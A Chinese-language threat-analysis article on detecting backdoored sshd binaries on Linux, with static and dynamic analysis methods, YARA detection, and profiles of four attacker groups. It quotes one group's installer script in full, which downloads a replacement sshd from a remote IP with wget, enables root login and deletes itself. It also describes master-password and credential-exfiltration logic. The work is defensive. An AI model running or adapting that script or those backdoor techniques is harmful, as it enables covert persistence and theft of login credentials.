在很多 Linux 平台的应急响应过程中,发现很多系统中存在 sshd 后门,虽然 sshd 后门已经存在 10 余年,但是并没有公开资料讲解如何分析,因此多数安全人员不能发现 sshd 后门,更不清楚如何分析,从而导致系统中的 sshd 后门长期存在,sshd 后门常用功能是记录所有登录本主机的账号密码,以及增加万能密码,也有的会将账号密码传输到攻击者得到服务器中,攻击者可以利用后门或者获得后的密码直接进入系统,如入无人之境,长期的对目标系统进行侵害,属于 Linux APT 攻击技术,本篇文章将会讲解两种分析 sshd 后门的 *** 以及 4 种 sshd 后门对应的黑客团伙,给大家提供一些分析思路,其余的 ssh wrapper 后门、ssh 软链接后门等相对简单,就不在文中提及,感兴趣的话可以自己进行分析。
sshd 程序是 openssh-server 软件包的其中一个可执行程序,属于服务端程序,默认开放 22 端口,对外提供 ssh 服务。由于 openssh-server 是开源程序,任何人都能够对其源码进行更改,重新编译,为攻击者植入恶意代码块提供了技术可能,所以除了sshd程序会被攻击者篡改之外,openssh-client 软件包中的 ssh 命令也经常被攻击者篡改,用来窃取目标机器连接其他外部机器的账号密码等信息。
以下是 *** 中的一个 openssh-5.9p1 的一个后门代码,在密码认证文件 auth-passwd.c 中的 auth_password 函数内添加一个判断条件,如果密码等于 SECRETPW(这个数值可以自己配置),则返回 ?secret_ok=1 表示密码认证成功,就不进行接下去的密码判断流程,相当于添加了一个万能密码。
在和上方相同的文件 auth-passwd.c 中的 auth_password 函数中添加如下的代码,指的是如果系统密码认证成功,则将用户名密码以特定格式加入到自定义的 ILOG 文件中。
sshd 万能密码后门的检查 *** 主要有两种,静态检测和动态检测,静态检测包含 sshd 程序的完整性校验,以及可执行文件的特征检测,可以使用 yara 规则对已知的 sshd 后门程序的特征进行搜集,然后扫描系统中的 sshd 可执行文件,对被篡改的 sshd 程序逆向分析,动态检测相对麻烦些,而且需要一些 Linux 系统调用相关知识,适用于 sshd 加密加壳等无法直接逆向分析的情况。
使用系统中自带的 rpm 程序,或者 dpkg 程序对系统中用软件包安装的 sshd 程序进行完整性校验,将初始化安装时的 md5 与目前的 md5 进行对比,如果发生变化则说明文件被篡改,则进行下面的分析。
centos 系列示例 rpm -Vf /usr/ *** in/sshd
S.5....T. ? ?/usr/ *** in/sshd
S 关键字代表文件大小发生了变化
5 关键字代表文件的 md5 值发生了变化
T 代表文件时间发生了变化
获得 sshd strings 之后的内容,写入到 test 文件中,使用正则查找 .rhosts 字符,在该字符下方可以看到万能密码,以及密码文件写入的位置,如果没看到可以在上下 30 行内查找。
3.1 万能密码与本地记录账号密码型
将 sshd 程序拖入 ida 中,点击右上角的 s 符号,即可见下方 strings 窗口,使用 ctrl+f 查找 .rhosts 字符。
点击进入该界面,即可看到万能密码和密码存放路径在 .rhosts 附近位置。
有时恶意程序并不像上述情况简单,万能密码及账号相关字符不能被直接查找到,这时候则需要我们使用 ida 的 F5 功能,查看 sshd 应用的密码验证处的伪代码,如下直接查看 auth_password 函数的。
如下是加密后的 sshd 后门的万能密码:
3.2 账号密码 *** 回传型
sshd 后门除了直接将账号密码记录在本地,也可以通过 *** 直接将账号密码传输给攻击者,在内网情况下更加有利于攻击者,可以绕过 *** 的限制直接拿到内部账号密码,下方是一个利用 Linux 系统中的 mail 命令来传输,将窃取到的登录的账号密码发送到攻击者的邮箱当中。
当 sshd 程序经过加密、加壳、混淆等操作后,针对 sshd 后门会记录账号密码相关特性,可以在 Linux 中动态对 sshd 进行调试分析。strace 是一个可用于诊断、调试和教学的 Linux 用户空间跟踪器,它来监控用户空间进程和内核的交互,比如系统调用、信号传递、进程状态变更等。系统中可以使用 strace 命令对 sshd 进程文件相关系统调研,以及写 write 系统调用进行追踪,使用一台机器跟踪 sshd 服务进程,另外一台机器则进行 ssh 登录操作,在跟踪页面监控 sshd 打开的文件及写入操作,示例:
对 sshd 进程进行跟踪
将账号密码写入到自定义的 /var/run/sshd.mm.XXXXXX 文件当中
以下是针对上方分析过的 sshd 后门写的 yara 检测规则:
在以往的黑客攻击活动中,发现有部分针对 Linux 平台攻击的 APT 以及黑产团伙,APT 攻击团伙主要代表为 Oldfox 老狐狸,XJ 团伙,黑产团伙则包括 TeamT-N-T 挖矿团伙,pm miner 挖矿团伙等,下面仅以这四种进行示例分析:
Oldfox 老狐狸 APT 攻击团伙,是微步发现并命名的国内老牌黑产团伙,主要攻击新闻媒体类站点,科技行业,app 下载站点,金融站点等,也会直接进行资金窃取攻击,在 Linux 平台经常使用 sshd 后门进行内网渗透,潜伏时间长,内网渗透率高。Oldfox 的 sshd 后门包含万能密码功能,以及记录账号密码到特定文件路径的功能,万能密码相对随机,有数字和字母组成,全部是小写。
以下是 Oldfox 团伙使用的 sshd 后门样本,应急响应排查的时候获得:
Oldfox 老狐狸团伙的工具包中 *** 好的 sshd 后门及 ssh 后门一览,每一个后门内的密码及日志位置的都不同,编译好的后门版本也不同。
博 彩黑产 XJ 团伙是微步 2019 年公开的一个国内博 彩黑产团伙,由于攻击者的 C&C 常使用字符串“xj”,我们将其命名为 XJ 团伙,推测是早年博 彩黑产星际团伙的竞争对手,因为 C&C 中字符经常为 xjd *** (星际大 *** ),XJ 团伙主要通过 Web 漏洞、服务器漏洞以及弱口令爆破等方式对目标网站进行渗透,并善用反弹 shell 后门、Xnote、sshd 后门,webshell 等木马工具实现远程控制、长期驻留以及信息窃取。XJ 团伙会通过篡改网站页面、配置文件、数据库等方式在合法网站植入博 彩信息,用于推广各类博 彩站点。
以下是博 彩黑产 XJ 团伙渗透时使用的 sshd 后门,拥有万能密码功能,以及利用系统中的 curl 命令将窃取到的账号密码发送到 XJ 团伙的远程服务器的功能。
TeamT-N-T 挖矿团伙,因为使用的木马和挖矿配置邮箱中存在 teamt-n-t 相关关键字,所以被称为 TeamT-N-T 挖矿团伙,也被部分研究员称为 ash miner 挖矿团伙,是因为挖矿木马的初始化脚本名称包含 ash 关键字,所以称之为 ash miner 挖矿团伙,该团伙已经活跃多年,经常使用各类 rce 漏洞进行 Linux 平台挖矿与 Windows 平台挖矿,除了挖矿外,攻击者还会寻找有价值目标进行手动渗透操作,根据我们掌握的攻击者使用的木马可知,攻击者会进行提权,安装 sshd 后门,安装 Linux 内核模块,安装 Windows 驱动程序等操作以便于进行持续性攻击。
以下是 ash miner 挖矿团伙手工渗透时使用的 sshd 后门,其中 sshd.sh 是自动化安装 sshd 后门的脚本程序。
sshd.sh 脚本内容为:
sed s/prohibit-password/yes/g /etc/ssh/sshd_config > /etc/ssh/sshd_config.ok rm -f /etc/ssh/sshd_config; mv /etc/ssh/sshd_config.ok /etc/ssh/sshd_config mkdir /var/empty ln -s /root/.ssh/authorized_keys /root/.ssh/authorized_keys2 /etc/init.d/ssh stop mv /usr/ *** in/sshd /usr/ *** in/ssdh wget http://62.2x.x.x/.tmp/sh/bd/sshd -O /usr/ *** in/sshd chmod +x /usr/ *** in/sshd /etc/init.d/ssh start rm -f $0
以下是 ash miner 挖矿团伙使用的 sshd 程序,密码认证代码处逆向后的相关特征:
pm miner 挖矿团伙,是因为攻击者的木马安装脚本的名称到目前为止一直都是 pm.sh,所以我称它为 pm miner 挖矿团伙,该挖矿团伙活跃目前仍比较活跃,常使用 redis 空口令以及其他 rce 方式进行传播,攻击者也会挑选目标进行进一步的内网渗透攻击,使用自动化脚本进行 sshd 后门窃取账号密码,痕迹清除,以及回传数据等操作,攻击者会根据拿到的数据筛选目标进行进一步攻击,从而扩大攻击战果。
以下是 pm miner 团伙攻击使用的工具包文件,里面包含自动化安装 sshd 后门脚本,清除登录日志脚本,重新编译后的 rm文 件,ss 文件,ssh 木马,sshd 后门等程序。
下方是 pm miner 挖矿团伙使用的 sshd 后门程序,关键逆向后的代码:
因篇幅限制,仅列举部分攻击团伙的 sshd 后门,还有很多 sshd 后门没有归类到具体的攻击团伙,感兴趣的同学可以自己进行 hunt 以及分析。
sshd 后门的检测也是和攻击者对抗的一个过程,只有了解攻击者的行为模式,实际实现检测的过程中才能够更好的发现攻击者的攻击行为,除了万能密码型后门,也可以有使用指定端口就免密登录的后门,还有通过 *** 将窃取到的账号密码直接传输到攻击者的服务端后门。目前这种检测 *** ,适用于检测现有的一些 openssh-server 的万能密码后门,测试多个公开 sshd 后门均适用,针对其他类型的 sshd 木马后门,则需要对具体分析方式进行一些调整,但是整体分析流程还是相同的。
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf
https://github.com/jivoi/openssh-backdoor-kit
0073e1a8c268e1072321fc4abae60ff1f421292dc2557e123e1c57da490ff18a
681a00df2e2cc680a4b68bdb6fe7d55c34d6d3fc35d462c78ebb659f9cb2cd60
4c537834c5d80f97feeaf07c61053cbd1c2a3728d30342b7dfea5d2ed66b2921
b9e866a045802f0b1cc813658b0d1c0c6d37b3857b17d35a1d5a9a79d8c1e5e4?
注:本文仅供参考,以下内容纯属虚构,如有类同,实乃巧合 这几年楼市火爆,许多人地址经常变。某兄弟欲告其小弟不敬老母,起诉至法院追溯赡养费。法院云:欲加之罪,附上此人地址先。兄弟立倒,旋即...
相信现在有很多的朋友们对于房产证可以二次借贷吗 第一套房子可以做二次抵押贷款吗都想要了解吧,那么今天小编就来给大家针对房产证可以二次借贷吗 第一套房子可以做二次抵押贷款吗进行一个介绍吧,希望小编介绍的...
想在北京落户有多么难,坚信大伙儿多多少少都听闻过,可是也并并不是彻底没有办法。想在北京落户关键有完婚落户口,买房落户口,人才落户等方法,那麼今日我就跟大伙儿而言一说北京完婚落户口,北京户口完婚两年以后...
编辑导读:当用户增长碰着瓶颈时,想要继承拉动增长就必需做越发风雅化的运营,盘活现有用户。而令人上瘾的游戏化,无疑是鼓励用户,提高DAU的最优计策。本文团结K12教诲的案例对此展开了阐明说明,与各人分享...
清空个人聊天记录还能恢复吗(不小心清空的聊天记录怎么恢复)微信是我们生活中最喜欢也是最常用的聊天工具,长时间使用之后,消息列表中的聊天记录多了也会影响手机运行速度,大家就会选择清空聊天记录,但是一...
有媒体报道,近日韩国KBS节目公布一份演艺圈房产富豪排行榜。其中,富二代老公才荣升为alpha公司执行长的全智贤,以755亿韩元(约4.4亿人民币)房产位居第3。 Rain与金泰希夫妇,结婚...